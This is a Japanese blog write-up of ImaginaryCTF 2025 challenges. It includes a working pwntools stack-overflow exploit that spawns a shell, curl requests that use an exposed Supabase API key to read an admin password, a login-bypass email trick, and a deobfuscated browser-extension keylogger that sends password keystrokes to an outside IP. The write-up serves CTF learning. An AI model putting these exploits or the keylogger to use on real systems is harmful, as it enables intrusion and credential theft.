以下の内容はhttps://yocchin.hatenablog.com/entry/2025/09/08/081040より取得しました。


ImaginaryCTF 2025 Writeup

この大会は2025/9/6 4:00(JST)~2025/9/8 4:00(JST)に開催されました。
今回もチームで参戦。結果は2192点で1414チーム中136位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity-check (Misc)

問題にフラグが書いてあった。

ictf{this_ctf_might_make_you_insane}

discord (Misc)

Discordに入り、#imaginaryctf-2025チャネルのメッセージを見ると、フラグが書いてあった。

ictf{yeet}

babybof (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined8 unaff_retaddr;
  undefined1 local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  puts("Welcome to babybof!");
  puts("Here is some helpful info:");
  printf("system @ %p\n",system);
  printf("pop rdi; ret @ %p\n",0x4011ba);
  printf("ret @ %p\n",0x4011bb);
  printf("\"/bin/sh\" @ %p\n",sh);
  printf("canary: %p\n",local_10);
  printf("enter your input (make sure your stack is aligned!): ");
  FUN_004010c0(local_48);
  printf("your input: %s\n",local_48);
  printf("canary: %p\n",local_10);
  printf("return address: %p\n",unaff_retaddr);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

BOFの問題だが、以下の情報は提示される。

  • system関数のアドレス
  • 「pop rdi; ret」のガジェットのアドレス
  • 「ret」のガジェットのアドレス
  • /bin/sh」のアドレス
  • canaryの値

以上を元にBOFでsystem("/bin/sh")を実行する。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('babybof.chal.imaginaryctf.org', 1337)
    data = p.recvline().decode().rstrip()
    print(data)
else:
    p = process('./vuln')

for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

data = p.recvline().decode().rstrip()
print(data)
system_addr = int(data.split(' ')[-1], 16)
data = p.recvline().decode().rstrip()
print(data)
pop_rdi_addr = int(data.split(' ')[-1], 16)
data = p.recvline().decode().rstrip()
print(data)
ret_addr = int(data.split(' ')[-1], 16)
data = p.recvline().decode().rstrip()
print(data)
bin_sh_addr = int(data.split(' ')[-1], 16)
data = p.recvline().decode().rstrip()
print(data)
canary = int(data.split(' ')[-1], 16)

payload = b'A' * 56
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(bin_sh_addr)
payload += p64(system_addr)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)

for _ in range(3):
    data = p.recvline().decode().rstrip()
    print(data)

p.interactive()

実行結果は以下の通り。

[+] Opening connection to babybof.chal.imaginaryctf.org on port 1337: Done
== proof-of-work: disabled ==
Welcome to babybof!
Here is some helpful info:
system @ 0x7a113825a110
pop rdi; ret @ 0x4011ba
ret @ 0x4011bb
"/bin/sh" @ 0x404038
canary: 0x413eda997da3d500
enter your input (make sure your stack is aligned!): b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\xd5\xa3}\x99\xda>ABBBBBBBB\xbb\x11@\x00\x00\x00\x00\x00\xba\x11@\x00\x00\x00\x00\x008@@\x00\x00\x00\x00\x00\x10\xa1%8\x11z\x00\x00'
your input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
canary: 0x413eda997da3d500
return address: 0x4011bb
[*] Switching to interactive mode
$ ls
chal
flag.txt
$ cat flag.txt
ictf{arent_challenges_written_two_hours_before_ctf_amazing}
ictf{arent_challenges_written_two_hours_before_ctf_amazing}

comparing (Reversing)

cppの処理概要は以下の通り。

・flag: フラグ
・pq: flagの2バイトごとの{flag[i*2], flag[i+2+1], i}のキュー配列
 順番はflagの2バイトの合計が小さい方がtopに来る。
・以下pqが空になるまで繰り返し
 ・val1: pqのtopのflagのペアの1つ目
 ・val2: pqのtopのflagのペアの2つ目
 ・i1: pqのtopのインデックス
 ・pqのtopをポップする
 ・val3: pqのtopのflagのペアの1つ目
 ・val4: pqのtopのflagのペアの2つ目
 ・i2: pqのtopのインデックス
 ・pqのtopをポップする
 ・i1が偶数の場合、outにeven(val1, val3, i1)をpush
  ・out: val1を文字にしたものとval3を文字にしたものとi1を文字にしたものを結合
  ・x: val1を文字にしたものとval3を文字にしたものを結合
  ・outにxの逆順を結合
  ・outを返却
 ・i1が奇数の場合、outにodd(val1, val3, i1)をpush
  ・out: val1を文字にしたものとval3を文字にしたものとi1を文字にしたものを結合後、数値として解釈
  ・i = 0
  ・addend = 0
  ・iが100未満の間以下を実行
   ・addendにiをプラス
   ・iをプラス1
  ・iをマイナス1
  ・iが0以上の間以下を実行
   ・addendからiをマイナス
   ・iをマイナス1
  ・outを文字列として返却
 ・i2が偶数の場合、outにeven(val2, val4, i2)をpush
 ・i2が奇数の場合、outにodd(val2, val4, i2)をpush
・outのサイズ分out[i]を出力

最後の部分は偶数の場合、インデックス中心とした回文のようになるまた奇数の場合は、ただASCIIコードを連結したものになる。
1行ずつ見ていく。

  • 9548128459の場合は、回文のようになっているため、以下であると考えられる。
var1=95、var3=48、i1=12
  • 491095の場合は、回文のようにはならないため、以下であると考えられる。
va2=49、var4=109、i2=5
  • 1014813の場合は、回文のようにはならないため、以下であると考えられる。
var1=101、va3=48、i1=13
  • 561097の場合は、回文のようにはならないため、以下であると考えられる。
var2=56、va4=109、i2=7
  • 10211614611201の場合は、回文のようになっているため、以下であると考えられる。
var1=102、va3=116、i1=14
  • 5748108475の場合は、回文のようになっているため、以下であると考えられる。
var2=57、va4=48、i2=10
  • 1171123の場合は、回文のようにはならないため、以下であると考えられる。
var1=117、va3=112、i1=3
  • 516484615の場合は、回文のようになっているため、以下であると考えられる。
var2=51、va4=64、i2=8
  • 114959の場合は、回文のようにはならないため、以下であると考えられる。
var1=114、va3=95、i1=9
  • 649969946の場合は、回文のようになっているため、以下であると考えられる。
var2=64、va4=99、i2=6
  • 1051160611501の場合は、回文のようになっているため、以下であると考えられる。
var1=105、va3=116、i1=0
  • 991021の場合は、回文のようにはならないため、以下であると考えられる。
var2=99、va4=102、i2=1
  • 1231012101321の場合は、回文のようになっているため、以下であると考えられる。
var1=123、va3=101、i1=2
  • 9912515の場合は、回文のようにはならないため、以下であると考えられる。
var2=99、va4=125、i2=15
  • 11411511の場合は、回文のようにはならないため、以下であると考えられる。
var1=114、va3=115、i1=11
  • 1151164611511の場合は、回文のようになっているため、以下であると考えられる。
var2=115、va4=116、i2=4

以上からインデックスを元に順に文字にしていく。

>>> s = [105, 99, 116, 102, 123, 99, 117, 51, 115, 116, 48, 109, 95, 99, 48, 109, 112, 64, 114, 64, 116, 48, 114, 115, 95, 49, 101, 56, 102, 57, 101, 125]
>>> ''.join([chr(c) for c in s])
'ictf{cu3st0m_c0mp@r@t0rs_1e8f9e}'
ictf{cu3st0m_c0mp@r@t0rs_1e8f9e}

stacked (Reversing)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  uchar uVar1;
  int local_c;
  
  uVar1 = off(flag[(int)globalvar]);
  uVar1 = eor(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = inc(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = inc(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = off(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = inc(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = inc(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = inc(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = off(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = inc(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = inc(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = inc(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = off(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = inc(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = inc(uVar1);
  uVar1 = off(uVar1);
  uVar1 = off(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = inc(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = inc(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = off(uVar1);
  uVar1 = rtr(uVar1);
  uVar1 = inc(uVar1);
  uVar1 = off(uVar1);
  uVar1 = eor(uVar1);
  uVar1 = off(uVar1);
  inc(uVar1);
  for (local_c = 0; local_c < 0xd; local_c = local_c + 1) {
    printf("%x ",(ulong)(byte)flag[local_c]);
  }
  putchar(10);
  return 0;
}

int off(uchar param_1)

{
  return param_1 + 0xf;
}

byte eor(uchar param_1)

{
  return param_1 ^ 0x69;
}

uint rtr(uchar param_1)

{
  return (uint)param_1 << 7 | (uint)(param_1 >> 1);
}

char inc(uchar param_1)

{
  flag[(int)globalvar] = param_1;
  globalvar = globalvar + '\x01';
  return flag[(int)globalvar];
}

flagの長さは13で、最終的な暗号化データは以下の通り、問題文に書かれている。

94 7 d4 64 7 54 63 24 ad 98 45 72 35

逆算することによってflagを求める。

#!/usr/bin/env python3
def rev_off(n):
    return (n - 0xf) & 0xff

def rev_eor(n):
    return n ^ 0x69

def rev_rtr(n):
    return n >> 7 | ((n << 1) & 0xff)

enc = '94 7 d4 64 7 54 63 24 ad 98 45 72 35'
enc = [int(c, 16) for c in enc.split(' ')]

flag = ''
v = enc[0]
v = rev_rtr(v)
v = rev_eor(v)
v = rev_off(v)
flag += chr(v)
v = enc[1]
v = rev_eor(v)
v = rev_eor(v)
v = rev_eor(v)
flag += chr(v)
v = enc[2]
v = rev_rtr(v)
v = rev_off(v)
v = rev_rtr(v)
flag += chr(v)
v = enc[3]
v = rev_eor(v)
v = rev_rtr(v)
v = rev_rtr(v)
flag += chr(v)
v = enc[4]
v = rev_eor(v)
v = rev_eor(v)
v = rev_eor(v)
flag += chr(v)
v = enc[5]
v = rev_rtr(v)
v = rev_off(v)
v = rev_rtr(v)
flag += chr(v)
v = enc[6]
v = rev_rtr(v)
v = rev_eor(v)
v = rev_rtr(v)
flag += chr(v)
v = enc[7]
v = rev_eor(v)
v = rev_rtr(v)
v = rev_rtr(v)
flag += chr(v)
v = enc[8]
v = rev_eor(v)
v = rev_off(v)
v = rev_rtr(v)
flag += chr(v)
v = enc[9]
v = rev_rtr(v)
v = rev_eor(v)
v = rev_eor(v)
flag += chr(v)
v = enc[10]
v = rev_rtr(v)
v = rev_off(v)
v = rev_off(v)
flag += chr(v)
v = enc[11]
v = rev_eor(v)
v = rev_rtr(v)
v = rev_rtr(v)
flag += chr(v)
v = enc[12]
v = rev_rtr(v)
v = rev_off(v)
v = rev_eor(v)
flag += chr(v)

flag = 'ictf{%s}' % flag
print(flag)
ictf{1n54n3_5k1ll2}

imaginary-notes (Web)

Chromeデベロッパーツールを開いた状態で、適当なユーザを作成し、ログインすると、以下のURLへのアクセスがあることがわかる。

https://dpyxnwiuwzahkxuxrojp.supabase.co/rest/v1/users?select=*&username=eq.<ユーザ名>&password=eq.<パスワード>

このとき、リクエストヘッダは以下のようになっている。

Apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI

試しにこのままアクセスしてみる。

$ curl "https://dpyxnwiuwzahkxuxrojp.supabase.co/rest/v1/users?select=*&username=eq.<ユーザ名>&password=eq.<パスワード>" -H "Apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI"
[{"id":"9645392e-6e9c-449b-84af-8f057a0a03b1","username":"<ユーザ名>","password":"<パスワード>"}]

条件を満たすレコードが id、username, password の組み合わせで取得できる。usernameに"admin"だけ指定してみる。

$ curl "https://dpyxnwiuwzahkxuxrojp.supabase.co/rest/v1/users?select=*&username=eq.admin" -H "Apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI"
[{"id":"5df6d541-c05e-4630-a862-8c23ec2b5fa9","username":"admin","password":"ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}"}]

"admin"のパスワードにフラグが設定されていた。

ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}

certificate (Web)

HTMLソースを見ると、以下のように書いてある。

<script>
        :
function customHash(str){
  let h = 1337;
  for (let i=0;i<str.length;i++){
    h = (h * 31 + str.charCodeAt(i)) ^ (h >>> 7);
    h = h >>> 0; // force unsigned
  }
  return h.toString(16);
}

function makeFlag(name){
  const clean = name.trim() || "anon";
  const h = customHash(clean);
  return `ictf{${h}}`;
}
        :

nameが"Eth007"の場合を算出すれば、それがフラグになる。Chromeデベロッパーツールで実行する。

> function customHash(str){
    let h = 1337;
    for (let i=0;i<str.length;i++){
      h = (h * 31 + str.charCodeAt(i)) ^ (h >>> 7);
      h = h >>> 0; // force unsigned
    }
    return h.toString(16);
  }

  function makeFlag(name){
    const clean = name.trim() || "anon";
    const h = customHash(clean);
    return `ictf{${h}}`;
  }
< undefined
> makeFlag("Eth007")
< 'ictf{7b4b3965}'
ictf{7b4b3965}

passwordless (Web)

メールアドレスを登録すると、ランダム16バイト文字列の16進数表記にしたものを結合したものがパスワードになる。メールアドレスの最大入力長は64で、パスワードはbcryptでハッシュ化されて登録される。ただ、メールアドレスの長さのチェックをしているのは、normalizeEmailをした後である。gmail.comに限り、ユーザ名部分のメールアドレスから"+"以降が削除される。"+"以降を除くと64文字以下で、"+"以降を含め72文字にすれば、パスワードは決まるはずである。
このメールアドレスを登録する。

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+aaaaaaa@gmail.com

パスワードもメールアドレスと同じでログインでき、フラグが表示された。

ictf{8ee2ebc4085927c0dc85f07303354a05}

wave (Forensics)

再生しようとしても再生できない。EXIFを見てみると、フラグが設定されていた。

$ exiftool wave.wav                  
ExifTool Version Number         : 13.00
File Name                       : wave.wav
Directory                       : .
File Size                       : 1051 kB
File Modification Date/Time     : 2025:09:06 06:18:55+09:00
File Access Date/Time           : 2025:09:06 06:19:15+09:00
File Inode Change Date/Time     : 2025:09:06 06:18:55+09:00
File Permissions                : -rwxrwxrwx
File Type                       : MP3
File Type Extension             : mp3
MIME Type                       : audio/mpeg
ID3 Size                        : 2194
Comment                         : ictf{obligatory_metadata_challenge}
Title                           : 
Artist                          : 
Album                           : 
Year                            : 
Genre                           : None
ictf{obligatory_metadata_challenge}

obfuscated-1 (Forensics)

VNCのパスワードを答える問題。
rumiフォルダ配下にNTUSER.DATがある。Registry Viewerで開き、[Software]-[TightVNC]-[Password]を見ると、バイナリで以下のように設定されている。

7E 9B 31 12 48 B7 C8 A8

TightVNCのパスワードについて調べると、DESで暗号化されていて鍵は以下の固定のものであることがわかる。

0xe8, 0x4a, 0xd6, 0x60, 0xc4, 0x72, 0x1a, 0xe0

このことを元に保存されているパスワードを復号する。

#!/usr/bin/env python3
from Crypto.Cipher import DES

ct = bytes([0x7e, 0x9b, 0x31, 0x12, 0x48, 0xb7, 0xc8, 0xa8])
key = bytes([0xe8, 0x4a, 0xd6, 0x60, 0xc4, 0x72, 0x1a, 0xe0])
des = DES.new(key, DES.MODE_ECB)
password = des.decrypt(ct).decode()

flag = 'ictf{%s}' % password
print(flag)
ictf{Slay4U!!}

x-tension (Forensics)

httpでフィルタリングしてみる。No.13635パケットでFunnyCatPicsExtension.crxが通信されているので、エクスポートする。解凍すると、manifest.jsonとcontent.jsが入っていて、manifest.jsonには以下のように書いてある。

{
  "manifest_version": 3,
  "name": "Funny Cat Pics Generator",
  "version": "1.0",
  "description": "Sends cat pics or something",
  "permissions": [
    "scripting"
  ],
  "host_permissions": [
    "<all_urls>"
  ],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"],
      "run_at": "document_idle"
    }
  ]
}

content.jsは難読化されているので、ChatGPTで解除してもらうと、以下のようになっていることがわかった。

function getKey() {
    // 現在のUTC分を取得して +0x20 (32) して文字に変換
    const minute = new Date().getUTCMinutes();
    return String.fromCharCode(minute + 32);
}

function xorEncrypt(input, key) {
    let out = '';
    for (let i = 0; i < input.length; i++) {
        const c = input.charCodeAt(i);
        const k = key.charCodeAt(0);
        const x = c ^ k;
        // 16進文字列に変換して2桁に0埋め
        out += x.toString(16).padStart(2, '0');
    }
    return out;
}

// キー入力イベントを監視
document.addEventListener('keydown', event => {
    const target = event.target;

    // 入力先が <input type="password"> の場合
    if (target.type === 'password') {
        const inputChar = event.key.length === 1 ? event.key : '';
        const key = getKey();
        const enc = xorEncrypt(inputChar, key);
        const payload = encodeURIComponent(enc);

        if (inputChar) {
            // 攻撃者サーバーに送信
            fetch('http://192.9.137.137:42552/?t=' + payload);
        }
    }
});

XOR鍵はUTCの分に32足して、それをASCIIコードとして文字にしたもの。
入力されたキーはNo.13909以降のパケットでわかっているので、書き出す。

0x5e, 0x54, 0x43, 0x51, 0x4c, 0x52, 0x4f, 0x43, 0x52, 0x59, 0x44, 0x5e, 0x58, 0x59, 0x44, 0x68, 0x5a, 0x5e, 0x50, 0x5f, 0x43, 0x68, 0x5d, 0x42, 0x44, 0x43, 0x68, 0x44, 0x42, 0x54, 0x5c, 0x4a

フラグが"i"から始まることを前提にkeyを算出し、そのkeyを使って、復号する。

>>> key = ord('i') ^ 0x5e
>>> enc = [0x5e, 0x54, 0x43, 0x51, 0x4c, 0x52, 0x4f, 0x43, 0x52, 0x59, 0x44, 0x5e, 0x58, 0x59, 0x44, 0x68, 0x5a, 0x5e, 0x50, 0x5f, 0x43, 0x68, 0x5d, 0x42, 0x44, 0x43, 0x68, 0x44, 0x42, 0x54, 0x5c, 0x4a]
>>> ''.join([chr(c ^ key) for c in enc])
'ictf{extensions_might_just_suck}'
ictf{extensions_might_just_suck}

redacted (Crypto)


問題はCyberChefで暗号化しているので、マスクされているフラグを答える問題。
CyberChefでは、XOR KeyのHEXの16進数文字以外の文字は無視される。CyberChefで、少しずつInputやKeyの文字を入力し、Outputが一致するものを探す。
Keyの"ictf"でOutputが"65 6c"になることはわかっている。次の文字のXORを見てみる。

>>> hex(ord('t') ^ 0xce)
'0xba'
>>> hex(ord('f') ^ 0x6b)
'0xd'
>>> hex(ord('{') ^ 0xc1)
'0xba'

KeyはInputの文字の途中までであるということだと推測できるので、以上の情報を元に、調整しながら、フラグを求める。
また途中ictfのkey「0c 0f」とのXORがpribtableになるはず。画像中の文字列の長さから、怪しい箇所をXORしてみる。

>>> chr(0x0c ^ 0x53)
'_'
>>> chr(0x0f ^ 0x6e)
'a'

>>> chr(0x0c ^ 0x6e)
'b'
>>> chr(0x0f ^ 0x6e)
'a'

>>> chr(0x0c ^ 0x63)
'o'
>>> chr(0x0f ^ 0x6d)
'b'

候補はこの3箇所。続く文字も試してみる。

>>> chr(0xba ^ 0x6e)
'Ô'
>>> chr(0xba ^ 0xde)
'd'
>>> chr(0xba ^ 0x7e)
'Ä'

候補の内2個目が該当しそう。改めて暗号文を書き出す。

65 6c ce 6b c1 75 61 7e 53 66 c9 52 d8 6c 6a 53 6e 6e de 52 df 63 6d 7e 75 7f ce 64 d5 63 73

この中で鍵の2周目は以下の部分になりそう。

暗号文:65 6c ce 6b c1 75 61 7e 53 66 c9 52 d8 6c 6a 53 6e 6e de 52 df 63 6d 7e 75 7f ce 64 d5 63 73
鍵  :0c 0f ba                                        0c 0f ba
    <------------------- 1周目 -------------------> <----------------- 2周目 ------------------>
>>> chr(0x52 ^ 0x0d)
'_'
>>> chr(0xdf ^ 0xba)
'e'

この時点の状態は以下のようになる。

暗号文:65 6c ce 6b c1 75 61 7e 53 66 c9 52 d8 6c 6a 53 6e 6e de 52 df 63 6d 7e 75 7f ce 64 d5 63 73
鍵  :0c 0f ba 0d ba                                  0c 0f ba 0d ba
    <------------------- 1周目 -------------------> <----------------- 2周目 ------------------>
平文 :i  c  t  f  {                                   b  a  d  _  e

次にフラグが"}"で終わることから考える。

>>> chr(ord('}') ^ 0x73)
'\x0e'
>>> chr(0x6a ^ 0x0e)
'd'

この時点の状態は以下のようになる。

暗号文:65 6c ce 6b c1 75 61 7e 53 66 c9 52 d8 6c 6a 53 6e 6e de 52 df 63 6d 7e 75 7f ce 64 d5 63 73
鍵  :0c 0f ba 0d ba                            0e    0c 0f ba 0d ba                            0e
    <------------------- 1周目 -------------------> <----------------- 2周目 ------------------>
平文 :i  c  t  f  {                             d     b  a  d  _  e                             }

0オリジンで、21~29バイト目の平文が"ncryption"と推測する。

>>> hex(ord('n') ^ 0x63)
'0xd'
>>> chr(0x75 ^ 0x0d)
'x'
>>> hex(ord('c') ^ 0x6d)
'0xe'
>>> chr(0x61 ^ 0x0e)
'o'
>>> hex(ord('r') ^ 0x7e)
'0xc'
>>> chr(0x7e ^ 0x0c)
'r'
>>> hex(ord('y') ^ 0x75)
'0xc'
>>> chr(0x53 ^ 0x0c)
'_'
>>> hex(ord('p') ^ 0x7f)
'0xf'
>>> chr(0x66 ^ 0x0f)
'i'
>>> hex(ord('t') ^ 0xce)
'0xba'
>>> chr(0xc9 ^ 0xba)
's'
>>> hex(ord('i') ^ 0x64)
'0xd'
>>> chr(0x52 ^ 0x0d)
'_'
>>> hex(ord('o') ^ 0xd5)
'0xba'
>>> chr(0xd8 ^ 0xba)
'b'
>>> hex(ord('n') ^ 0x63)
'0xd'
>>> chr(0x6c ^ 0x0d)
'a'

この時点の状態は以下のようになる。

暗号文:65 6c ce 6b c1 75 61 7e 53 66 c9 52 d8 6c 6a 53 6e 6e de 52 df 63 6d 7e 75 7f ce 64 d5 63 73
鍵  :0c 0f ba 0d ba 0d 0e 0c 0c 0f ba 0d ba 0d 0e    0c 0f ba 0d ba 0d 0e 0c 0c 0f ba 0d ba 0d 0e
    <------------------- 1周目 -------------------> <----------------- 2周目 ------------------>
平文 :i  c  t  f  {  x  o  r  _  i  s  _  b  a  d     b  a  d  _  e  n  c  r  y  p  t  i  o  n  }

15バイト目が空いているが、1周目と思っていた箇所が1周目と2周目が含まれていた。この場合鍵は0cとなる。

>>> chr(0x53 ^ 0x0c)
'_'

以上により、フラグを割り出すことができた。

ictf{xor_is_bad_bad_encryption}

leaky-rsa (Crypto)

サーバの処理概要は以下の通り。

・p: 512ビット素数
・q: 512ビット素数
・n = p * q
・e = 65537
・d = pow(e, -1, (p-1)*(q-1))
・key_m: n未満のランダム整数
・key_c = pow(key_m, e, n)
・key: key_mの文字列のsha256ダイジェストの先頭16バイト文字列
・iv: ランダム16バイト文字列
・ct: flagをパディングして、key, ivを使ってAES CBCモード暗号化したもの
・n, key_c, ivの16進数表記, ctの16進数表記を出力
・以下1024回繰り返し
 ・idx: 4未満のランダム整数
 ・idxを表示
 ・response: 入力→jsonとしてロード
 ・c = response['c'] % n
 ・cとkey_cは一致しないことをチェック
 ・m = pow(c, d, n)
 ・b = get_bit(m, idx)
  ・下位からidxビット目のビットを返却
・key_mを出力

最後にkey_mを出力しているので、key_mの値からkeyを算出し、AES CBCモード暗号の復号ができる。

#!/usr/bin/env python3
import socket
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import sha256

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('leaky-rsa.chal.imaginaryctf.org', 1337))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
res = json.loads(data)
n = res['n']
key_c = res['c']
iv = bytes.fromhex(res['iv'])
ct = bytes.fromhex(res['ct'])

for _ in range(1024):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    req = json.dumps({"c": 1})
    print(req)
    s.sendall(req.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)
key_m = int(data)

key = sha256(str(key_m).encode()).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, IV=iv)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)

実行結果は以下の通り。

== proof-of-work: disabled ==
{"n": 82120907316438287590127209728744139815579213907585245855960049918035696668111940008566878147898775412438011289897104750791589673072590795405087782668467008634447536388080289441221726410415194130027407893812673538629324580021554449161619910423873295928086880017311615723700919693146872515605197640831718617347, "c": 49514689154747726606999685503422175727200180249757320775828780737114895586697321546291681552419302496414548688913565924153588017230117058688307968952189218653558765452002616347435201372654068252491929665400544786479746599163705704399052818960745800084880202773087968110192270598742854635424674854096650787174, "iv": "f28e86cbd99f142fe5fdb88e11729654", "ct": "28bb8434962c957f5e529bf0aecd4170033eb6ca5c4d837b91dae57f95b8f28d70bd607adf4ba339f6cd91d4ad32d9f8d564d3a8b64e6782838cbf64c7f8d4a1619ec541730ccac2cadc92e8bbae751d"}
{"idx": 3}
{"c": 1}
{"b": 0}
        :
{"idx": 2}
{"c": 1}
{"b": 0}
59095793997565212259269545403822521829679064037108595056325282765281531125724575239467931097758565689697423904103021742755154238498167568088130703880936901274950342765322128432444543220095686795330843326431405421609402001688293749538586295662232947417864766929150331839424480040929374585118169859701647454440
ictf{p13cin9_7h3_b1t5_t0g37her_3f0068c1b9be2547ada52a8020420fb0}
ictf{p13cin9_7h3_b1t5_t0g37her_3f0068c1b9be2547ada52a8020420fb0}

survey (Misc)

アンケートに答えたら、以下のように表示された。

What you seek is at https://eth007.me/CyberChef/#recipe=Fernet_Decrypt('sPNJ2c3JWEMuojL5uuueVtp0rdlViZw1wpNtArv4xYQ%3D')&input=Z0FBQUFBQm91X0o4QjlkWkFKSEVzbWVBVVhYZHljQ2JLMU1MX1pZcm03Y1lrZU1ZVEp0V2JzNDVjNS1TQWJVZEYzR3hFUnloOEl4RzFCZWptbU4waDg0QUsxdjFNNExpQWludlg4NURyYU5IdE12aVVsb1ltQm1rQk1Zb0tORTJJX3NfdV9abjlyb08&oeol=FF 

ここにアクセスしたら、復号結果にフラグが書いてあった。

ictf{thanks_for_playing_imaginaryctf_2025!}



以上の内容はhttps://yocchin.hatenablog.com/entry/2025/09/08/081040より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14